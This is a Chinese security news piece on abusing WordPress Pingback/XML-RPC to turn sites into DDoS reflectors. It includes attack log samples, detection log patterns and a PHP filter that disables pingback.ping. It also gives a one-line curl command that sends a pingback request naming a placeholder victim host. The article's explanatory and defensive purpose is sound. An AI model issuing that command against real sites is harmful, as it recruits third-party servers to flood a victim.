超过16W的WordPress网站被用来做DDoS攻击

安全 黑客攻防
任何开启了Pingback(默认就开启)的WordPress的站点可以被用来做DDOS攻击其它服务器。

任何开启了Pingback(默认就开启)的WordPress的站点可以被用来做DDOS攻击其它服务器。

超过16W的WordPress网站被用来做DDoS攻击

看如下日志:

574.86.132.186 - - [09/Mar/2014:11:05:27 -0400] "GET /?4137049=6431829 HTTP/1.0" 403 0 "-" "WordPress/3.8; http://www.mtbgearreview.com"
121.127.254.2 - - [09/Mar/2014:11:05:27 -0400] "GET /?4758117=5073922 HTTP/1.0" 403 0 "-" "WordPress/3.4.2; http://www.kschunvmo.com"
217.160.253.21 - - [09/Mar/2014:11:05:27 -0400] "GET /?7190851=6824134 HTTP/1.0" 403 0 "-" "WordPress/3.8.1; http://www.intoxzone.fr"
193.197.34.216 - - [09/Mar/2014:11:05:27 -0400] "GET /?3162504=9747583 HTTP/1.0" 403 0 "-" "WordPress/2.9.2; http://www.verwaltungmodern.de"
..

可以发现每次请求还增加了随机数/?3162504=9747583以此来绕过缓存。

测试这种攻击方式只需要一个curl命令就可以了:

$ curl -D - "www.anywordpresssite.com/xmlrpc.php" -d 'pingback.pinghttp://victim.comwww.anywordpresssite.com/postchosen'

想要看你自己的网站是否被用来做了攻击可以查看日志当中是否包含类似如下的内容:

393.174.93.72 - - [09/Mar/2014:20:11:34 -0400] "POST /xmlrpc.php HTTP/1.0" 403 4034 "-" "-" "POSTREQUEST:\x0A\x0Apingback.ping\x0A\x0A \x0A \x0A http://fastbet99.com/?1698491=8940641\x0A \x0A \x0A \x0A \x0A yoursite.com\x0A \x0A \x0A\x0A\x0A"
94.102.63.238 – - [09/Mar/2014:23:21:01 -0400] "POST /xmlrpc.php HTTP/1.0" 403 4034 "-" "-" "POSTREQUEST:\x0A\x0Apingback.ping\x0A\x0A \x0A \x0A http://www.guttercleanerlondon.co.uk/?7964015=3863899\x0A \x0A \x0A \x0A \x0A yoursite.com\x0A \x0A \x0A\x0A\x0A"

防御此问题的推荐方法需要屏蔽 XML-RPC (pingback) 的功能,WordPress主题中添加如下代码:

add_filter( 'xmlrpc_methods', function( $methods ) {
unset( $methods['pingback.ping'] );
return $methods;
} );
责任编辑:蓝雨泪 来源: 乌云知识库
相关推荐

2022-03-31 06:13:24

DDoS网络攻击漏洞

2009-11-10 11:36:46

2011-03-04 17:23:17

2021-12-21 23:21:16

DDOS防御安全

2019-04-22 07:45:02

2013-05-22 15:45:43

2021-11-05 19:24:39

漏洞网络安全DDoS攻击

2014-06-13 10:00:01

2020-10-09 18:41:23

DDoS攻击黑客网络安全

2021-04-25 18:14:58

WordPress漏洞Patchstack

2017-11-06 14:43:48

2021-11-28 14:14:40

勒索软件恶意软件安全

2009-11-10 10:33:10

2014-07-01 09:54:13

2017-03-09 20:57:26

2015-08-31 10:14:40

2018-03-19 08:46:52

2017-03-23 13:44:39

2014-08-11 16:25:09

2011-03-07 10:07:47

点赞
收藏

51CTO技术栈公众号